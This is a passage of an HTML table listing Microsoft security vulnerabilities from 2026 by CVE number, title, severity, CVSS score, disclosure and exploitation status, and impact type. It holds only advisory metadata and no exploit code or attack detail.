  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
